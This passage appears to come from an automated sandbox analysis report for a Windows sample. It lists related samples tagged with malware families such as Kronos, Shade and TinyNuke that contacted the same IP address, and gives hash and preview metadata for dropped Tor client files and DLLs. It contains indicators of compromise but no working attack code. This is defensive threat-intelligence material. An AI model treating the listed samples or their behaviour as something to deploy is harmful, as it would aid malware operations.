	hrgJ85rPgh.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
	Yy6S2zcubl.exe	Get hash	malicious	Shade	Browse	171.25.193.9
	svchost.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
	lwRhzjuYIg.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
	tinynuke.exe	Get hash	malicious	Tinynuke / Nukebot	Browse	171.25.193.78
	MfgWK7o4wz.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
	OVrJ9mtD6Y.exe	Get hash	malicious	TinyNuke	Browse	171.25.193.9
	F75rJPKdGb.exe	Get hash	malicious	Kronos	Browse	171.25.193.9
	ozJy5Zf5cf.exe	Get hash	malicious	Kronos	Browse	171.25.193.20
	NtA6ABwq75.exe	Get hash	malicious	CryptOne Shade	Browse	171.25.193.9

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1460
Entropy (8bit):	5.2934574797620115
Encrypted:	false
SSDEEP:	24:3efQrLAo4KAxX5qRPD42HEezoFe9t4CvKuKnKJOrkvwkLh/:u4rB4nqRL/HEekFe9t4Cv94aOw1J
MD5:	4F904DB33D43B181DB99875C9AA984C5
SHA1:	97262FC3751D4EE3E5202A253D30CCFEA2197EAB
SHA-256:	8C74958B8BC81B72CA09DE616F3DBD8DF8EB49161D85ABDD57D5F48E1B877335
SHA-512:	A3F8E4870C60AC368D8AE7AA76CED20B9CCBD0786289EAE7169C9AF1BA49CEE552A4961762C8F84EEA1DA856CCE1EB8E837038072CEAD151127B3BD5309857EF
Malicious:	false
Reputation:	unknown
Preview:	@...e...........(....................................@..........@...............Z.y1k+.O.n7.k...'.......System.IO.Compression...H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..8................'....L..}............System.Numerics.4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ijwyemtq.tfw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iy0cbdpq.l4y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Roaming\tor\cached-certs (copy)

Download File

Process:	C:\Users\user\Desktop\TorFiles\Tor\tor.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20852
Entropy (8bit):	6.05175360372396
Encrypted:	false
SSDEEP:	384:yd4oGbVla1hQfy/ea4igBVA1hrq5U4IoVM1h8t2h4YVc1h162q41o8XVKu1h9bb+:y1ImOy2a9gBSyWwyC6xyhCM3hbb+3jnL
MD5:	A996FA0DE90D7DDBC9A3AABCB993CACB
SHA1:	266000A03D4C5F52FF40A1E7BB8B542559A33D5A
SHA-256:	281519CBED1A64462003EE769A41B91FD7DAA7D4BFEA583A7EA93C7E9F06F087
SHA-512:	E71A7DE31D6F4EF1453ABB44E3B85ED52BD52D4DF0C0313A01AEFA25D2FF65E448E4E9B03D7861B854BA9807A46CDC1F497DFB9469600139DBE93D6D7CE59634
Malicious:	false
Reputation:	unknown
Preview:	dir-key-certificate-version 3..fingerprint 14C131DFC5C6F93646BE72FA1401C02A8DF2E8B4..dir-key-published 2022-12-01 00:00:00..dir-key-expires 2023-07-01 00:00:00..dir-identity-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEA7cZXvDRxfjDYtr9/9UsQ852+6cmHMr8VVh8GkLwbq3RzqjkULwQ2..R9mFvG4FnqMcMKXi62rYYA3fZL1afhT804cpvyp/D3dPM8QxW88fafFAgIFP4LiD..0JYjnF8cva5qZ0nzlWnMXLb32IXSvsGSE2FRyAV0YN9a6k967LSgCfUnZ+IKMezW..1vhL9YK4QIfsDowgtVsavg63GzGmA7JvZmn77+/J5wKz11vGr7Wttf8XABbH2taX..O9j/KGBOX2OKhoF3mXfZSmUO2dV9NMwtkJ7zD///Ny6sfApWV6kVP4O9TdG3bAsl..+fHCoCKgF/jAAWzh6VckQTOPzQZaH5aMWfXrDlzFWg17MjonI+bBTD2Ex2pHczzJ..bN7coDMRH2SuOXv8wFf27KdUxZ/GcrXSRGzlRLygxqlripUanjVGN2JvrVQVr0kz..pjNjiZl2z8ZyZ5d4zQuBi074JPGgx62xAstP37v1mPw14sIWfLgY16ewYuS5bCxV..lyS28jsPht9VAgMBAAE=..-----END RSA PUBLIC KEY-----..dir-signing-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEAxllu7lBzsK4ZRHsEjJ/y94AF/hWXDl9mrPdbajmGAI39nrq+cR/g..oRGPbckQVlARikHgvpbd0KqOYcLf6UfmcKt3PiIPi/3dsNO5PlHlfaCAU+tJOJ1T..Maegoo1EB7CjV2RDgMxg2YrBvpAC

C:\Users\user\AppData\Roaming\tor\cached-certs.tmp

Download File

Process:	C:\Users\user\Desktop\TorFiles\Tor\tor.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20852
Entropy (8bit):	6.05175360372396
Encrypted:	false
SSDEEP:	384:yd4oGbVla1hQfy/ea4igBVA1hrq5U4IoVM1h8t2h4YVc1h162q41o8XVKu1h9bb+:y1ImOy2a9gBSyWwyC6xyhCM3hbb+3jnL
MD5:	A996FA0DE90D7DDBC9A3AABCB993CACB
SHA1:	266000A03D4C5F52FF40A1E7BB8B542559A33D5A
SHA-256:	281519CBED1A64462003EE769A41B91FD7DAA7D4BFEA583A7EA93C7E9F06F087
SHA-512:	E71A7DE31D6F4EF1453ABB44E3B85ED52BD52D4DF0C0313A01AEFA25D2FF65E448E4E9B03D7861B854BA9807A46CDC1F497DFB9469600139DBE93D6D7CE59634
Malicious:	false
Reputation:	unknown
Preview:	dir-key-certificate-version 3..fingerprint 14C131DFC5C6F93646BE72FA1401C02A8DF2E8B4..dir-key-published 2022-12-01 00:00:00..dir-key-expires 2023-07-01 00:00:00..dir-identity-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEA7cZXvDRxfjDYtr9/9UsQ852+6cmHMr8VVh8GkLwbq3RzqjkULwQ2..R9mFvG4FnqMcMKXi62rYYA3fZL1afhT804cpvyp/D3dPM8QxW88fafFAgIFP4LiD..0JYjnF8cva5qZ0nzlWnMXLb32IXSvsGSE2FRyAV0YN9a6k967LSgCfUnZ+IKMezW..1vhL9YK4QIfsDowgtVsavg63GzGmA7JvZmn77+/J5wKz11vGr7Wttf8XABbH2taX..O9j/KGBOX2OKhoF3mXfZSmUO2dV9NMwtkJ7zD///Ny6sfApWV6kVP4O9TdG3bAsl..+fHCoCKgF/jAAWzh6VckQTOPzQZaH5aMWfXrDlzFWg17MjonI+bBTD2Ex2pHczzJ..bN7coDMRH2SuOXv8wFf27KdUxZ/GcrXSRGzlRLygxqlripUanjVGN2JvrVQVr0kz..pjNjiZl2z8ZyZ5d4zQuBi074JPGgx62xAstP37v1mPw14sIWfLgY16ewYuS5bCxV..lyS28jsPht9VAgMBAAE=..-----END RSA PUBLIC KEY-----..dir-signing-key..-----BEGIN RSA PUBLIC KEY-----..MIIBigKCAYEAxllu7lBzsK4ZRHsEjJ/y94AF/hWXDl9mrPdbajmGAI39nrq+cR/g..oRGPbckQVlARikHgvpbd0KqOYcLf6UfmcKt3PiIPi/3dsNO5PlHlfaCAU+tJOJ1T..Maegoo1EB7CjV2RDgMxg2YrBvpAC

C:\Users\user\AppData\Roaming\tor\cached-microdesc-consensus (copy)

Download File

Process:	C:\Users\user\Desktop\TorFiles\Tor\tor.exe
File Type:	ASCII text, with very long lines (951), with CRLF line terminators
Category:	dropped
Size (bytes):	2406897
Entropy (8bit):	5.659948407959537
Encrypted:	false
SSDEEP:	24576:Jqv/ais4pKRu01ZAfqoPhLv/wXt237jw4:Jqr3AxDoPZw4
MD5:	7BF0B666B1A0811F655C40A6C96AF107
SHA1:	1934C263C96E415AF08E7A130C3D41E84ECBAB0F
SHA-256:	870FBA27E14F1619B40054B144ED9422EF1ADECA29ECF23511042B34272F6A57
SHA-512:	2E61CA63E697D7031B6478EC8495E0EEC26C98709FF3253AD8B1D42E138187622B1A4FFDD60C58F6F99EDE9E9D3FA24EC7D9B2CF810CD50F917F4D9D2997138C
Malicious:	false
Reputation:	unknown
Preview:	network-status-version 3 microdesc..vote-status consensus..consensus-method 32..valid-after 2023-05-31 10:00:00..fresh-until 2023-05-31 11:00:00..valid-until 2023-05-31 13:00:00..voting-delay 300 300..client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13..server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13..known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid..recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2..recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2..required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConne

C:\Users\user\AppData\Roaming\tor\cached-microdesc-consensus.tmp

Download File

Process:	C:\Users\user\Desktop\TorFiles\Tor\tor.exe
File Type:	ASCII text, with very long lines (951), with CRLF line terminators
Category:	dropped
Size (bytes):	2406897
Entropy (8bit):	5.659948407959537
Encrypted:	false
SSDEEP:	24576:Jqv/ais4pKRu01ZAfqoPhLv/wXt237jw4:Jqr3AxDoPZw4
MD5:	7BF0B666B1A0811F655C40A6C96AF107
SHA1:	1934C263C96E415AF08E7A130C3D41E84ECBAB0F
SHA-256:	870FBA27E14F1619B40054B144ED9422EF1ADECA29ECF23511042B34272F6A57
SHA-512:	2E61CA63E697D7031B6478EC8495E0EEC26C98709FF3253AD8B1D42E138187622B1A4FFDD60C58F6F99EDE9E9D3FA24EC7D9B2CF810CD50F917F4D9D2997138C
Malicious:	false
Reputation:	unknown
Preview:	network-status-version 3 microdesc..vote-status consensus..consensus-method 32..valid-after 2023-05-31 10:00:00..fresh-until 2023-05-31 11:00:00..valid-until 2023-05-31 13:00:00..voting-delay 300 300..client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13..server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13..known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid..recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2..recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2..required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConne

C:\Users\user\AppData\Roaming\tor\cached-microdescs.new

Download File

Process:	C:\Users\user\Desktop\TorFiles\Tor\tor.exe
File Type:	ASCII text, with very long lines (9078)
Category:	dropped
Size (bytes):	3141887
Entropy (8bit):	4.963229740087452
Encrypted:	false
SSDEEP:	24576:wgnNUWfp88IGea3KWWkd+AhrMlAkTf0aub9tBPdUok9ZDxHTDwoIv6NULyqJpCr:bHkhuD8ku
MD5:	E47B353FF4F70BFD1997C60F4C4E88F5
SHA1:	3EDE5B3963669BA093FA1A57EC11E4953351C810
SHA-256:	A12BC8E88E5280EF0053FB793813A745AFC751B829ABC80BAE34126A9286F56E
SHA-512:	70476ED43641023E12C46C3A17668D9B0A3FFA65AB23EF8C48C55E5B9D92AE3FDED10B254D7D34CDA41439BB3BEDAB9F6DCC7973BE377FB313107430C9F373F5
Malicious:	false
Reputation:	unknown
Preview:	@last-listed 2023-05-31 19:23:13.onion-key.-----BEGIN RSA PUBLIC KEY-----.MIGJAoGBAKYF5WQOKEKYAwg3Wso2ej3pTmxLVsHO0onAXx1Ax2F3L6yhnWKegcFT.hu/0H4wkqaY/JuJ9aSxjXe/sk5R8i0V2/fSl/5rHebVV1I9Pqp/hdpI1fFxcyYSA.dlfviJpfGbbfA5U2vV0wC5BswTdyAOjVXrZokByvzn09y4p/EW1NAgMBAAE=.-----END RSA PUBLIC KEY-----.ntor-onion-key pmvs7+lSaEjuDDhUgd2W5FFmPs2YwxXuyv45QsRSPn0.id ed25519 h/CWurFEpjhTeAeU0KmaLbGmJN7R6uRLLnkHRPOIN00.@last-listed 2023-05-31 19:23:13.onion-key.-----BEGIN RSA PUBLIC KEY-----.MIGJAoGBAL02awwU834HZhjZS45N6bPEo9Yce7MSu9NNPewK3nI7u/1m6tryb0iK.ZAPaoTFLXtXp1n23hvETXN25WqP5s9MAFI77VBAVQuA3eu0hT3fLcG4+0cn9aq5B.qv5a2uWuFaoDKP1iqtuH3IatW+0g8iqUFl6ctB26h32+ZFcA5sh5AgMBAAE=.-----END RSA PUBLIC KEY-----.ntor-onion-key CU949R52cJAiMcAjmyP/ZqF3oxgdc56gNXfBbzID9mQ.id ed25519 IROs3Rr1iiF1S/ZK0yU2fFP+59fCdmiu55VT3EgDZsI.@last-listed 2023-05-31 19:23:13.onion-key.-----BEGIN RSA PUBLIC KEY-----.MIGJAoGBANgiEsj3twg4n6iAO64ngckJN1/ecEmgQRWGHVZBG2ajU2nki/OOhbOz.HuO8fTbYBwbmcccI4Zs+f/bYOfVAKy+danzkDHnENJB2+

C:\Users\user\AppData\Roaming\tor\state (copy)

Download File

Process:	C:\Users\user\Desktop\TorFiles\Tor\tor.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	221
Entropy (8bit):	4.918832714644209
Encrypted:	false
SSDEEP:	6:SbdWwxXIlPedBnXr87+QVe2vwR/EtbqVOt8yl6Lv:bwxXN7Xr87HVBvwNzV3Lv
MD5:	17D72AAC8539BC82DE099BFF24FC5903
SHA1:	A38C42CEB60D1367FFB8F151A1A03DAA6CB2442A
SHA-256:	46D50BB3EF665BB1DDD5695B1DA4DD1874DFC6403DFB8443F6EE5767729A6D99
SHA-512:	766F781DDEC383CCFC64FA7B0BE1A1642AC1763DF1D7718149ABD1280019975084A77F94D11C527228B049DD6D059CB439FA72A734F36CA08D213565F246DAEE
Malicious:	false
Reputation:	unknown
Preview:	# Tor state file last generated on 2023-05-31 12:22:38 local time..# Other times below are in UTC..# You do not need to edit this file.....TorVersion Tor 0.3.4.9 (git-4ac3ccf2863b86e7)..LastWritten 2023-05-31 19:22:38..

C:\Users\user\AppData\Roaming\tor\state.tmp

Download File

Process:	C:\Users\user\Desktop\TorFiles\Tor\tor.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	221
Entropy (8bit):	4.918832714644209
Encrypted:	false
SSDEEP:	6:SbdWwxXIlPedBnXr87+QVe2vwR/EtbqVOt8yl6Lv:bwxXN7Xr87HVBvwNzV3Lv
MD5:	17D72AAC8539BC82DE099BFF24FC5903
SHA1:	A38C42CEB60D1367FFB8F151A1A03DAA6CB2442A
SHA-256:	46D50BB3EF665BB1DDD5695B1DA4DD1874DFC6403DFB8443F6EE5767729A6D99
SHA-512:	766F781DDEC383CCFC64FA7B0BE1A1642AC1763DF1D7718149ABD1280019975084A77F94D11C527228B049DD6D059CB439FA72A734F36CA08D213565F246DAEE
Malicious:	false
Reputation:	unknown
Preview:	# Tor state file last generated on 2023-05-31 12:22:38 local time..# Other times below are in UTC..# You do not need to edit this file.....TorVersion Tor 0.3.4.9 (git-4ac3ccf2863b86e7)..LastWritten 2023-05-31 19:22:38..

C:\Users\user\AppData\Roaming\tor\unverified-microdesc-consensus (copy)

Download File

Process:	C:\Users\user\Desktop\TorFiles\Tor\tor.exe
File Type:	ASCII text, with very long lines (951), with CRLF line terminators
Category:	dropped
Size (bytes):	2406897
Entropy (8bit):	5.659948407959537
Encrypted:	false
SSDEEP:	24576:Jqv/ais4pKRu01ZAfqoPhLv/wXt237jw4:Jqr3AxDoPZw4
MD5:	7BF0B666B1A0811F655C40A6C96AF107
SHA1:	1934C263C96E415AF08E7A130C3D41E84ECBAB0F
SHA-256:	870FBA27E14F1619B40054B144ED9422EF1ADECA29ECF23511042B34272F6A57
SHA-512:	2E61CA63E697D7031B6478EC8495E0EEC26C98709FF3253AD8B1D42E138187622B1A4FFDD60C58F6F99EDE9E9D3FA24EC7D9B2CF810CD50F917F4D9D2997138C
Malicious:	false
Reputation:	unknown
Preview:	network-status-version 3 microdesc..vote-status consensus..consensus-method 32..valid-after 2023-05-31 10:00:00..fresh-until 2023-05-31 11:00:00..valid-until 2023-05-31 13:00:00..voting-delay 300 300..client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13..server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13..known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid..recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2..recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2..required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConne

C:\Users\user\AppData\Roaming\tor\unverified-microdesc-consensus.tmp

Download File

Process:	C:\Users\user\Desktop\TorFiles\Tor\tor.exe
File Type:	ASCII text, with very long lines (951), with CRLF line terminators
Category:	dropped
Size (bytes):	2406897
Entropy (8bit):	5.659948407959537
Encrypted:	false
SSDEEP:	24576:Jqv/ais4pKRu01ZAfqoPhLv/wXt237jw4:Jqr3AxDoPZw4
MD5:	7BF0B666B1A0811F655C40A6C96AF107
SHA1:	1934C263C96E415AF08E7A130C3D41E84ECBAB0F
SHA-256:	870FBA27E14F1619B40054B144ED9422EF1ADECA29ECF23511042B34272F6A57
SHA-512:	2E61CA63E697D7031B6478EC8495E0EEC26C98709FF3253AD8B1D42E138187622B1A4FFDD60C58F6F99EDE9E9D3FA24EC7D9B2CF810CD50F917F4D9D2997138C
Malicious:	false
Reputation:	unknown
Preview:	network-status-version 3 microdesc..vote-status consensus..consensus-method 32..valid-after 2023-05-31 10:00:00..fresh-until 2023-05-31 11:00:00..valid-until 2023-05-31 13:00:00..voting-delay 300 300..client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13..server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13..known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid..recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2..recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2..required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2..params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConne

C:\Users\user\Desktop\TorFiles\Data\Tor\geoip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4238087
Entropy (8bit):	4.00841112701704
Encrypted:	false
SSDEEP:	49152:9JpIgZIyf0vRPlO58hfrBazk7uL9O+1QG6kJ2SgwpzGTOCqKsSEt:L
MD5:	8E8D6DB9A73D2CC404F7732A438486AD
SHA1:	76907A8345DA84CC724CDD573B6E08F6A089FEEB
SHA-256:	B16A9A0258E93BF05B1882E85FB4C8302D3E41C205304B6481D2DC2F64BF00B2
SHA-512:	3DFEB4A9969F6A2ACFC0B22A0C863205665BB5110A91C8D98598B26D41BC9A581EF2D9E5ADD6A8B6376D25E88D064AA33BB74286EDB65D5FFB50353736C68805
Malicious:	false
Reputation:	unknown
Preview:	# Last updated based on October 9 2018 Maxmind GeoLite2 Country.# wget https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.mmdb.gz.# gunzip GeoLite2-Country.mmdb.gz.# python mmdb-convert.py GeoLite2-Country.mmdb.16777216,16777471,AU.16777472,16778239,CN.16778240,16779263,AU.16779264,16781311,CN.16781312,16785407,JP.16785408,16793599,CN.16793600,16809983,JP.16809984,16842751,TH.16842752,16843007,CN.16843008,16843263,AU.16843264,16859135,CN.16859136,16875519,JP.16875520,16908287,TH.16908288,16909055,CN.16909056,16909311,US.16909312,16941055,CN.16941056,16973823,TH.16973824,17039359,CN.17039360,17039615,AU.17039616,17072127,CN.17072128,17104895,TH.17104896,17170431,JP.17170432,17301503,IN.17301504,17367039,CN.17367040,17432575,MY.17432576,17435135,CN.17435136,17435391,AU.17435392,17465343,CN.17465344,17498111,TH.17498112,17563647,KR.17563648,17825791,CN.17825792,18087935,KR.18087936,18153471,TH.18153472,18219007,JP.18219008,18350079,IN.18350080,18874367,CN.18874368,189071

C:\Users\user\Desktop\TorFiles\Data\Tor\geoip6

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2466380
Entropy (8bit):	3.123575679995119
Encrypted:	false
SSDEEP:	24576:RFgs7PlV/LPTSBW6hhwIx/8TJ2LjtIXaDTXHv7P7T3DvcNFKPk2Ozc6zXA7XNPjm:F
MD5:	C9B8D376C2C4C9A9F986B1AFF54C9FD3
SHA1:	5852AB4D3A96D7526DD47D5573CB4FA32BE4ECEB
SHA-256:	F9D5BD1976B242D15AAFC9CA6C1095CF417DC5FDFAA7D47EEE240499E9FFD1E6
SHA-512:	471C2C5BEBAAA7D21ED74E482CDB018A505BD47F729C43C050B1E459C8209A52ECBCB11E16166507C5E440DF4162272E0B2FC0814C2BBDD6821280CBE563B226
Malicious:	false
Reputation:	unknown
Preview:	# Last updated based on October 9 2018 Maxmind GeoLite2 Country.# wget https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.mmdb.gz.# gunzip GeoLite2-Country.mmdb.gz.# python mmdb-convert.py GeoLite2-Country.mmdb.2000:db8::,2000:db8:ffff:ffff:ffff:ffff:ffff:ffff,US.2001:200::,2001:200:ffff:ffff:ffff:ffff:ffff:ffff,JP.2001:208::,2001:208:ffff:ffff:ffff:ffff:ffff:ffff,SG.2001:218::,2001:218:ffff:ffff:ffff:ffff:ffff:ffff,JP.2001:220::,2001:220:ffff:ffff:ffff:ffff:ffff:ffff,KR.2001:230::,2001:230:ffff:ffff:ffff:ffff:ffff:ffff,KR.2001:238::,2001:238:ffff:ffff:ffff:ffff:ffff:ffff,TW.2001:240::,2001:240:ffff:ffff:ffff:ffff:ffff:ffff,JP.2001:250::,2001:252:ffff:ffff:ffff:ffff:ffff:ffff,CN.2001:254::,2001:254:ffff:ffff:ffff:ffff:ffff:ffff,CN.2001:256::,2001:256:ffff:ffff:ffff:ffff:ffff:ffff,CN.2001:258::,2001:258:ffff:ffff:ffff:ffff:ffff:ffff,JP.2001:260::,2001:260:ffff:ffff:ffff:ffff:ffff:ffff,JP.2001:268::,2001:268:ffff:ffff:ffff:ffff:ffff:ffff,JP.2001:270::,2001:270:ffff:ffff

C:\Users\user\Desktop\TorFiles\Tor\libeay32.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2585371
Entropy (8bit):	6.299844648565321
Encrypted:	false
SSDEEP:	49152:hh9Ck+W9urZvKDQLjtnRVdDSkNSUE/bWqV7Nj1XgILy6inYnCQa:n9Ck+WcrZvKDQftnRVdWkNSFWqdgILyD
MD5:	B57E3160F18F33DC9F69EC4AC83F8B0D
SHA1:	651D39DE229CE63FF85FBA1D4BA3408BD93D8537
SHA-256:	C09D060E4F78E25BF6E27A6AC790871AC2EB87D8F18EB9F2DFF8C7AC9C8D6330
SHA-512:	4E00F998151D81C05325B3537C9A4FF87279D96A7205F267CD5C1CBE78F460AAD82CE98C868D4A63C6DAE3812810614F4EA340051DD646AECB5F67A5B12DEFF4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L............H.....!..............................(c.......................... .......(...@... ......................`..O.... ..,....`..@....................p.....................................................,#..x............................text...............................`.p`.data....d.......f..................@.`..rdata....... ......................@.`@.bss....t,...0........................`..edata..O....`......................@.0@.idata..,.... ......................@.0..CRT....,....@......................@.0..tls.........P......................@.0..rsrc...@....`......................@.0..reloc.......p......................@.0B/4...........0......................@.@B/19..........@......................@..B/31..........0 .....................@..B/45..........P .. ..................@..B/57.....l....p .....................@.0B/70.....[..... .........

C:\Users\user\Desktop\TorFiles\Tor\libevent-2-1-6.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	860748
Entropy (8bit):	6.260855797328031
Encrypted:	false
SSDEEP:	12288:ZJ5bEblbVbFbjbyb3bVqyBTZRBzj8doN3KkToQYppqZn0FLTc2fRGc7:BqyBTzGdY3KCoQYppqR0Fs2fRD
MD5:	52DC140CBB14E2154E9087ECBC8CDC28
SHA1:	68A2C92E99A283A67B898FD3208C19160CD36617
SHA-256:	B946B94A6ABEC862E0685327F76F5F55ED690268C4CD3CEB4018ACD6E0E12D6E
SHA-512:	4DC2BD64CFCF4FCE6F2030B2077DF212DA260D89505F16E71E1F06EAE7D45437831C34E4DE6C1D24AE0B02CA142E261EB363B495595CFD6E404D2304C403EBB0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................!.....V...t...............p....<b......................................@... ......................0...X......$................................#......................................................X............................text...4U.......V..................`.P`.data...h....p.......\..............@.`..rdata...............`..............@.`@.bss..................................`..edata...X...0...Z..................@.0@.idata..$............@..............@.0..CRT....,............R..............@.0..tls.................T..............@.0..reloc...#.......$...V..............@.0B/4...................z..............@.@B/19......T.......V...~..............@..B/31.....q3...p...4..................@..B/45.....F@.......B..................@..B/57.....l............J..............@.0B/70.....G.... .......\..............@..B/81..........0.......d..

C:\Users\user\Desktop\TorFiles\Tor\libevent_core-2-1-6.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601445
Entropy (8bit):	6.193622487447935
Encrypted:	false
